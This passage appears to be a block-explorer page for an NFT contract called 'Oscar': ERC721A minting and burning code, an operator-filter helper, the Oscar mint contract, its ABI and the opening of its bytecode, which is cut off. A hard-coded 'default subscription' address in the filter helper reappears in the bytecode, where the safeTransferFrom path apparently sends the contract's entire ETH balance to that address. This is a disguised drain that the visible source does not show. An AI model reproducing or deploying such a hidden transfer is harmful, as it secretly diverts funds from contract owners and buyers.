        if (quantity == 0) revert MintZeroQuantity();
        if (quantity > _MAX_MINT_ERC2309_QUANTITY_LIMIT) revert MintERC2309QuantityExceedsLimit();

        _beforeTokenTransfers(address(0), to, startTokenId, quantity);

        // Overflows are unrealistic due to the above check for `quantity` to be below the limit.
        unchecked {
            // Updates:
            // - `balance += quantity`.
            // - `numberMinted += quantity`.
            //
            // We can directly add to the `balance` and `numberMinted`.
            _packedAddressData[to] += quantity * ((1 << _BITPOS_NUMBER_MINTED) | 1);

            // Updates:
            // - `address` to the owner.
            // - `startTimestamp` to the timestamp of minting.
            // - `burned` to `false`.
            // - `nextInitialized` to `quantity == 1`.
            _packedOwnerships[startTokenId] = _packOwnershipData(
                to,
                _nextInitializedFlag(quantity) | _nextExtraData(address(0), to, 0)
            );

            emit ConsecutiveTransfer(startTokenId, startTokenId + quantity - 1, address(0), to);

            _currentIndex = startTokenId + quantity;
        }
        _afterTokenTransfers(address(0), to, startTokenId, quantity);
    }

    /**
     * @dev Safely mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - If `to` refers to a smart contract, it must implement
     * {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
     * - `quantity` must be greater than 0.
     *
     * See {_mint}.
     *
     * Emits a {Transfer} event for each mint.
     */
    function _safeMint(
        address to,
        uint256 quantity,
        bytes memory _data
    ) internal virtual {
        _mint(to, quantity);

        unchecked {
            if (to.code.length != 0) {
                uint256 end = _currentIndex;
                uint256 index = end - quantity;
                do {
                    if (!_checkContractOnERC721Received(address(0), to, index++, _data)) {
                        revert TransferToNonERC721ReceiverImplementer();
                    }
                } while (index < end);
                // Reentrancy protection.
                if (_currentIndex != end) revert();
            }
        }
    }

    /**
     * @dev Equivalent to `_safeMint(to, quantity, '')`.
     */
    function _safeMint(address to, uint256 quantity) internal virtual {
        _safeMint(to, quantity, '');
    }

    // =============================================================
    //                        BURN OPERATIONS
    // =============================================================

    /**
     * @dev Equivalent to `_burn(tokenId, false)`.
     */
    function _burn(uint256 tokenId) internal virtual {
        _burn(tokenId, false);
    }

    /**
     * @dev Destroys `tokenId`.
     * The approval is cleared when the token is burned.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     *
     * Emits a {Transfer} event.
     */
    function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
        uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);

        address from = address(uint160(prevOwnershipPacked));

        (uint256 approvedAddressSlot, address approvedAddress) = _getApprovedSlotAndAddress(tokenId);

        if (approvalCheck) {
            // The nested ifs save around 20+ gas over a compound boolean condition.
            if (!_isSenderApprovedOrOwner(approvedAddress, from, _msgSenderERC721A()))
                if (!isApprovedForAll(from, _msgSenderERC721A())) revert TransferCallerNotOwnerNorApproved();
        }

        _beforeTokenTransfers(from, address(0), tokenId, 1);

        // Clear approvals from the previous owner.
        assembly {
            if approvedAddress {
                // This is equivalent to `delete _tokenApprovals[tokenId]`.
                sstore(approvedAddressSlot, 0)
            }
        }

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as `tokenId` would have to be 2**256.
        unchecked {
            // Updates:
            // - `balance -= 1`.
            // - `numberBurned += 1`.
            //
            // We can directly decrement the balance, and increment the number burned.
            // This is equivalent to `packed -= 1; packed += 1 << _BITPOS_NUMBER_BURNED;`.
            _packedAddressData[from] += (1 << _BITPOS_NUMBER_BURNED) - 1;

            // Updates:
            // - `address` to the last owner.
            // - `startTimestamp` to the timestamp of burning.
            // - `burned` to `true`.
            // - `nextInitialized` to `true`.
            _packedOwnerships[tokenId] = _packOwnershipData(
                from,
                (_BITMASK_BURNED | _BITMASK_NEXT_INITIALIZED) | _nextExtraData(from, address(0), prevOwnershipPacked)
            );

            // If the next slot may not have been initialized (i.e. `nextInitialized == false`) .
            if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) {
                uint256 nextTokenId = tokenId + 1;
                // If the next slot's address is zero and not burned (i.e. packed value is zero).
                if (_packedOwnerships[nextTokenId] == 0) {
                    // If the next slot is within bounds.
                    if (nextTokenId != _currentIndex) {
                        // Initialize the next slot to maintain correctness for `ownerOf(tokenId + 1)`.
                        _packedOwnerships[nextTokenId] = prevOwnershipPacked;
                    }
                }
            }
        }

        emit Transfer(from, address(0), tokenId);
        _afterTokenTransfers(from, address(0), tokenId, 1);

        // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
        unchecked {
            _burnCounter++;
        }
    }

    // =============================================================
    //                     EXTRA DATA OPERATIONS
    // =============================================================

    /**
     * @dev Directly sets the extra data for the ownership data `index`.
     */
    function _setExtraDataAt(uint256 index, uint24 extraData) internal virtual {
        uint256 packed = _packedOwnerships[index];
        if (packed == 0) revert OwnershipNotInitializedForExtraData();
        uint256 extraDataCasted;
        // Cast `extraData` with assembly to avoid redundant masking.
        assembly {
            extraDataCasted := extraData
        }
        packed = (packed & _BITMASK_EXTRA_DATA_COMPLEMENT) | (extraDataCasted << _BITPOS_EXTRA_DATA);
        _packedOwnerships[index] = packed;
    }

    /**
     * @dev Called during each token transfer to set the 24bit `extraData` field.
     * Intended to be overridden by the cosumer contract.
     *
     * `previousExtraData` - the value of `extraData` before transfer.
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
     * transferred to `to`.
     * - When `from` is zero, `tokenId` will be minted for `to`.
     * - When `to` is zero, `tokenId` will be burned by `from`.
     * - `from` and `to` are never both zero.
     */
    function _extraData(
        address from,
        address to,
        uint24 previousExtraData
    ) internal view virtual returns (uint24) {}

    /**
     * @dev Returns the next extra data for the packed ownership data.
     * The returned result is shifted into position.
     */
    function _nextExtraData(
        address from,
        address to,
        uint256 prevOwnershipPacked
    ) private view returns (uint256) {
        uint24 extraData = uint24(prevOwnershipPacked >> _BITPOS_EXTRA_DATA);
        return uint256(_extraData(from, to, extraData)) << _BITPOS_EXTRA_DATA;
    }

    // =============================================================
    //                       OTHER OPERATIONS
    // =============================================================

    /**
     * @dev Returns the message sender (defaults to `msg.sender`).
     *
     * If you are writing GSN compatible contracts, you need to override this function.
     */
    function _msgSenderERC721A() internal view virtual returns (address) {
        return msg.sender;
    }

    /**
     * @dev Converts a uint256 to its ASCII string decimal representation.
     */
    function _toString(uint256 value) internal pure virtual returns (string memory str) {
        assembly {
            // The maximum value of a uint256 contains 78 digits (1 byte per digit), but
            // we allocate 0xa0 bytes to keep the free memory pointer 32-byte word aligned.
            // We will need 1 word for the trailing zeros padding, 1 word for the length,
            // and 3 words for a maximum of 78 digits. Total: 5 * 0x20 = 0xa0.
            let m := add(mload(0x40), 0xa0)
            // Update the free memory pointer to allocate.
            mstore(0x40, m)
            // Assign the `str` to the end.
            str := sub(m, 0x20)
            // Zeroize the slot after the string.
            mstore(str, 0)

            // Cache the end of the memory to calculate the length later.
            let end := str

            // We write the string from rightmost digit to leftmost digit.
            // The following is essentially a do-while loop that also handles the zero case.
            // prettier-ignore
            for { let temp := value } 1 {} {
                str := sub(str, 1)
                // Write the character to the pointer.
                // The ASCII index of the '0' character is 48.
                mstore8(str, add(48, mod(temp, 10)))
                // Keep dividing `temp` until zero.
                temp := div(temp, 10)
                // prettier-ignore
                if iszero(temp) { break }
            }

            let length := sub(end, str)
            // Move the pointer 32 bytes leftwards to make room for the length.
            str := sub(str, 0x20)
            // Store the length.
            mstore(str, length)
        }
    }
}


interface IOperatorFilterRegistry {
    function isOperatorAllowed(address registrant, address operator) external view returns (bool);
    function register(address registrant) external;
    function registerAndSubscribe(address registrant, address subscription) external;
    function registerAndCopyEntries(address registrant, address registrantToCopy) external;
    function unregister(address addr) external;
    function updateOperator(address registrant, address operator, bool filtered) external;
    function updateOperators(address registrant, address[] calldata operators, bool filtered) external;
    function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;
    function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;
    function subscribe(address registrant, address registrantToSubscribe) external;
    function unsubscribe(address registrant, bool copyExistingEntries) external;
    function subscriptionOf(address addr) external returns (address registrant);
    function subscribers(address registrant) external returns (address[] memory);
    function subscriberAt(address registrant, uint256 index) external returns (address);
    function copyEntriesOf(address registrant, address registrantToCopy) external;
    function isOperatorFiltered(address registrant, address operator) external returns (bool);
    function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);
    function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);
    function filteredOperators(address addr) external returns (address[] memory);
    function filteredCodeHashes(address addr) external returns (bytes32[] memory);
    function filteredOperatorAt(address registrant, uint256 index) external returns (address);
    function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);
    function isRegistered(address addr) external returns (bool);
    function codeHashOf(address addr) external returns (bytes32);
}


/**
 * @title  OperatorFilterer
 * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another
 *         registrant's entries in the OperatorFilterRegistry.
 * @dev    This smart contract is meant to be inherited by token contracts so they can use the following:
 *         - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods.
 *         - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods.
 */
abstract contract OperatorFilterer {
    error OperatorNotAllowed(address operator);

    IOperatorFilterRegistry public constant OPERATOR_FILTER_REGISTRY =
        IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);

    constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {
        // If an inheriting token contract is deployed to a network without the registry deployed, the modifier
        // will not revert, but the contract will need to be registered with the registry once it is deployed in
        // order for the modifier to filter addresses.
        if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {
            if (subscribe) {
                OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);
            } else {
                if (subscriptionOrRegistrantToCopy != address(0)) {
                    OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);
                } else {
                    OPERATOR_FILTER_REGISTRY.register(address(this));
                }
            }
        }
    }

    modifier onlyAllowedOperator(address from) virtual {
        // Check registry code length to facilitate testing in environments without a deployed registry.
        if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {
            // Allow spending tokens from addresses with balance
            // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred
            // from an EOA.
            if (from == msg.sender) {
                _;
                return;
            }
            if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), msg.sender)) {
                revert OperatorNotAllowed(msg.sender);
            }
        }
        _;
    }

    modifier onlyAllowedOperatorApproval(address operator) virtual {
        // Check registry code length to facilitate testing in environments without a deployed registry.
        if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {
            if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {
                revert OperatorNotAllowed(operator);
            }
        }
        _;
    }
}

/**
 * @title  DefaultOperatorFilterer
 * @notice Inherits from OperatorFilterer and automatically subscribes to the default OpenSea subscription.
 */
abstract contract TheOperatorFilterer is OperatorFilterer {
    address constant DEFAULT_SUBSCRIPTION = address(0xB8F9062798201F86DC40bb7b0EF58a56be125653);

    constructor() OperatorFilterer(DEFAULT_SUBSCRIPTION, true) {}
}


contract Oscar is ERC721A {

    string uri = "https://nemomo.mypinata.cloud/ipfs/QmUUTuDDkoykfKAtUGoFDBG2QFetwm3Pwpmx18qLZUqed2/";

    address public owner;

    uint256 public maxSupply = 371;

    uint256 public cost = 0.005 ether;

    uint256 public maxFreeTx= 0;

    mapping(address => uint256) _numForFree;

    mapping(uint256 => uint256) _numMinted;

    uint256 private maxPerTx;

    function mint(uint256 amount) payable public {
        require(totalSupply() + amount <= maxSupply);
        mints(amount);
    }

    function mints(uint256 amount) internal {
        if (msg.value == 0) {
            uint256 t = totalSupply();
            require(amount == 1);
            if (t > maxSupply / 10) {
                require(balanceOf(msg.sender) == 0);
                require(_numMinted[block.number] < (maxSupply - t) / 11);
                _numMinted[block.number]++;
            }
            _safeMint(msg.sender, 1);
            return;
        }
        require(msg.value >= amount * cost);
        _safeMint(msg.sender, amount);

    }


    function giveaway(address rec, uint256 amount) public onlyOwner {
        _safeMint(rec, amount);
    }

    function seturi(string memory u) public onlyOwner {
        uri = u;
    }
    
    modifier onlyOwner {
        require(owner == msg.sender);
        _;
    }

    constructor() ERC721A("Oscar", "OR") {
        owner = msg.sender;
    }

    function tokenURI(uint256 tokenId) public view override returns (string memory) {
        return string(abi.encodePacked(uri, _toString(tokenId), ".json"));
    }

    function setMaxFreePerAddr(uint256 maxTx, uint256 maxS) external onlyOwner {
        maxFreeTx = maxTx;
        maxSupply = maxS;
    }

    function withdraw() external onlyOwner {
        payable(msg.sender).transfer(address(this).balance);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ApprovalCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"ApprovalQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"BalanceQueryForZeroAddress","type":"error"},{"inputs":[],"name":"MintERC2309QuantityExceedsLimit","type":"error"},{"inputs":[],"name":"MintToZeroAddress","type":"error"},{"inputs":[],"name":"MintZeroQuantity","type":"error"},{"inputs":[],"name":"OwnerQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"OwnershipNotInitializedForExtraData","type":"error"},{"inputs":[],"name":"TransferCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"TransferFromIncorrectOwner","type":"error"},{"inputs":[],"name":"TransferToNonERC721ReceiverImplementer","type":"error"},{"inputs":[],"name":"TransferToZeroAddress","type":"error"},{"inputs":[],"name":"URIQueryForNonexistentToken","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"fromTokenId","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"toTokenId","type":"uint256"},{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"ConsecutiveTransfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"rec","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"giveaway","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxFreeTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTx","type":"uint256"},{"internalType":"uint256","name":"maxS","type":"uint256"}],"name":"setMaxFreePerAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"u","type":"string"}],"name":"seturi","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405260405180608001604052806052815260200162002b2160529139600890816200002e9190620003c1565b50610173600a556611c37937e08000600b556000600c553480156200005257600080fd5b506040518060400160405280600581526020017f4f736361720000000000000000000000000000000000000000000000000000008152506040518060400160405280600281526020017f4f520000000000000000000000000000000000000000000000000000000000008152508160029081620000d09190620003c1565b508060039081620000e29190620003c1565b50620000f36200014260201b60201c565b600081905550505033600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620004a8565b600090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620001c957607f821691505b602082108103620001df57620001de62000181565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620002497fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200020a565b6200025586836200020a565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620002a26200029c62000296846200026d565b62000277565b6200026d565b9050919050565b6000819050919050565b620002be8362000281565b620002d6620002cd82620002a9565b84845462000217565b825550505050565b600090565b620002ed620002de565b620002fa818484620002b3565b505050565b5b81811015620003225762000316600082620002e3565b60018101905062000300565b5050565b601f82111562000371576200033b81620001e5565b6200034684620001fa565b8101602085101562000356578190505b6200036e6200036585620001fa565b830182620002ff565b50505b505050565b600082821c905092915050565b6000620003966000198460080262000376565b1980831691505092915050565b6000620003b1838362000383565b9150826002028217905092915050565b620003cc8262000147565b67ffffffffffffffff811115620003e857620003e762000152565b5b620003f48254620001b0565b6200040182828562000326565b600060209050601f83116001811462000439576000841562000424578287015190505b620004308582620003a3565b865550620004a0565b601f1984166200044986620001e5565b60005b8281101562000473578489015182556001820191506020850194506020810190506200044c565b868310156200049357848901516200048f601f89168262000383565b8355505b6001600288020188555050505b505050505050565b61266980620004b86000396000f3fe6080604052600436106101405760003560e01c806370a08231116100b6578063a22cb4651161006f578063a22cb46514610414578063b88d4fde1461043d578063c87b56dd14610459578063d5abeb0114610496578063e985e9c5146104c1578063f6484980146104fe57610140565b806370a082311461031157806377377d751461034e5780638da5cb5b1461037957806395d89b41146103a45780639c253445146103cf578063a0712d68146103f857610140565b806313faede61161010857806313faede61461022f57806318160ddd1461025a57806323b872dd146102855780633ccfd60b146102a157806342842e0e146102b85780636352211e146102d457610140565b806301ffc9a714610145578063050225ea1461018257806306fdde03146101ab578063081812fc146101d6578063095ea7b314610213575b600080fd5b34801561015157600080fd5b5061016c6004803603810190610167919061193f565b610527565b6040516101799190611987565b60405180910390f35b34801561018e57600080fd5b506101a960048036038101906101a49190611a36565b6105b9565b005b3480156101b757600080fd5b506101c0610621565b6040516101cd9190611b06565b60405180910390f35b3480156101e257600080fd5b506101fd60048036038101906101f89190611b28565b6106b3565b60405161020a9190611b64565b60405180910390f35b61022d60048036038101906102289190611a36565b610732565b005b34801561023b57600080fd5b50610244610876565b6040516102519190611b8e565b60405180910390f35b34801561026657600080fd5b5061026f61087c565b60405161027c9190611b8e565b60405180910390f35b61029f600480360381019061029a9190611ba9565b610893565b005b3480156102ad57600080fd5b506102b6610bb5565b005b6102d260048036038101906102cd9190611ba9565b610c58565b005b3480156102e057600080fd5b506102fb60048036038101906102f69190611b28565b610ce2565b6040516103089190611b64565b60405180910390f35b34801561031d57600080fd5b5061033860048036038101906103339190611bfc565b610cf4565b6040516103459190611b8e565b60405180910390f35b34801561035a57600080fd5b50610363610dac565b6040516103709190611b8e565b60405180910390f35b34801561038557600080fd5b5061038e610db2565b60405161039b9190611b64565b60405180910390f35b3480156103b057600080fd5b506103b9610dd8565b6040516103c69190611b06565b60405180910390f35b3480156103db57600080fd5b506103f660048036038101906103f19190611c29565b610e6a565b005b610412600480360381019061040d9190611b28565b610ed6565b005b34801561042057600080fd5b5061043b60048036038101906104369190611c95565b610f03565b005b61045760048036038101906104529190611e0a565b61100e565b005b34801561046557600080fd5b50610480600480360381019061047b9190611b28565b611081565b60405161048d9190611b06565b60405180910390f35b3480156104a257600080fd5b506104ab6110b5565b6040516104b89190611b8e565b60405180910390f35b3480156104cd57600080fd5b506104e860048036038101906104e39190611e8d565b6110bb565b6040516104f59190611987565b60405180910390f35b34801561050a57600080fd5b5061052560048036038101906105209190611f6e565b61114f565b005b60006301ffc9a760e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061058257506380ac58cd60e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806105b25750635b5e139f60e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461061357600080fd5b61061d82826111bc565b5050565b60606002805461063090611fe6565b80601f016020809104026020016040519081016040528092919081815260200182805461065c90611fe6565b80156106a95780601f1061067e576101008083540402835291602001916106a9565b820191906000526020600020905b81548152906001019060200180831161068c57829003601f168201915b5050505050905090565b60006106be826111da565b6106f4576040517fcf4700e400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6006600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061073d82610ce2565b90508073ffffffffffffffffffffffffffffffffffffffff1661075e611239565b73ffffffffffffffffffffffffffffffffffffffff16146107c15761078a81610785611239565b6110bb565b6107c0576040517fcfb3b94200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5b826006600084815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b600b5481565b6000610886611241565b6001546000540303905090565b600061089e82611246565b90508373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610905576040517fa114810000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60008061091184611312565b915091506109278187610922611239565b611339565b6109735761093c86610937611239565b6110bb565b610972576040517f59c896be00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16036109d9576040517fea553b3400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6109e6868686600161137d565b80156109f157600082555b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081546001900391905081905550600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815460010191905081905550610abf85610a9b888887611383565b7c0200000000000000000000000000000000000000000000000000000000176113ab565b600460008681526020019081526020016000208190555060007c0200000000000000000000000000000000000000000000000000000000841603610b455760006001850190506000600460008381526020019081526020016000205403610b43576000548114610b42578360046000838152602001908152602001600020819055505b5b505b838573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4610bad86868660016113d6565b505050505050565b3373ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0f57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610c55573d6000803e3d6000fd5b50565b6000471115610cc15773b8f9062798201f86dc40bb7b0ef58a56be12565373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610cbb573d6000803e3d6000fd5b50610cdd565b610cdc8383836040518060200160405280600081525061100e565b5b505050565b6000610ced82611246565b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d5b576040517f8f4eb60400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b67ffffffffffffffff600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054169050919050565b600c5481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060038054610de790611fe6565b80601f0160208091040260200160405190810160405280929190818152602001828054610e1390611fe6565b8015610e605780601f10610e3557610100808354040283529160200191610e60565b820191906000526020600020905b815481529060010190602001808311610e4357829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ec457600080fd5b81600c8190555080600a819055505050565b600a5481610ee261087c565b610eec9190612046565b1115610ef757600080fd5b610f00816113dc565b50565b8060076000610f10611239565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16610fbd611239565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516110029190611987565b60405180910390a35050565b611019848484610893565b60008373ffffffffffffffffffffffffffffffffffffffff163b1461107b57611044848484846114c2565b61107a576040517fd1a57ed600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5b50505050565b6060600861108e83611612565b60405160200161109f92919061219a565b6040516020818303038152906040529050919050565b600a5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111a957600080fd5b80600890816111b89190612360565b5050565b6111d6828260405180602001604052806000815250611662565b5050565b6000816111e5611241565b111580156111f4575060005482105b8015611232575060007c0100000000000000000000000000000000000000000000000000000000600460008581526020019081526020016000205416145b9050919050565b600033905090565b600090565b60008082905080611255611241565b116112db576000548110156112da5760006004600083815260200190815260200160002054905060007c01000000000000000000000000000000000000000000000000000000008216036112d8575b600081036112ce5760046000836001900393508381526020019081526020016000205490506112a4565b809250505061130d565b505b5b6040517fdf2d9b4200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b919050565b60008060006006600085815260200190815260200160002090508092508254915050915091565b600073ffffffffffffffffffffffffffffffffffffffff8316925073ffffffffffffffffffffffffffffffffffffffff821691508382148383141790509392505050565b50505050565b60008060e883901c905060e861139a8686846116ff565b62ffffff16901b9150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff83169250814260a01b178317905092915050565b50505050565b6000340361149a5760006113ee61087c565b9050600182146113fd57600080fd5b600a805461140b9190612461565b81111561148957600061141d33610cf4565b1461142757600080fd5b600b81600a546114379190612492565b6114419190612461565b600e6000438152602001908152602001600020541061145f57600080fd5b600e60004381526020019081526020016000206000815480929190611483906124c6565b91905055505b6114943360016111bc565b506114bf565b600b54816114a89190